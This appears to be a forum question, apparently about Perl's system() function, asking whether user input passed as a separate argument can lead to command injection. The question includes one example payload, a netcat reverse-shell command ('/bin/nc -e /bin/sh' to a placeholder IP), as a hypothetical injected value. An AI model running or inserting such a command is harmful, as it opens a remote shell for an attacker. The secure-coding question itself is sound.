system() is a function that executes a file with args 'n', meaning 'n' a real number.
If we have: system("path/to/program","firstArg","secondArg",...); the string inside the second argument will be always a string passed to "path/to/program" right?
If I do like: system("path/to/program","legitArg",$userinput); - does $userinput be vulnerable to code injection? Or it will be passed as string to path/to/program?
Even if $userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234" ?
If not how can I parametrise such arguments?
update:based on answer below I found this from stanford: using the perl system() function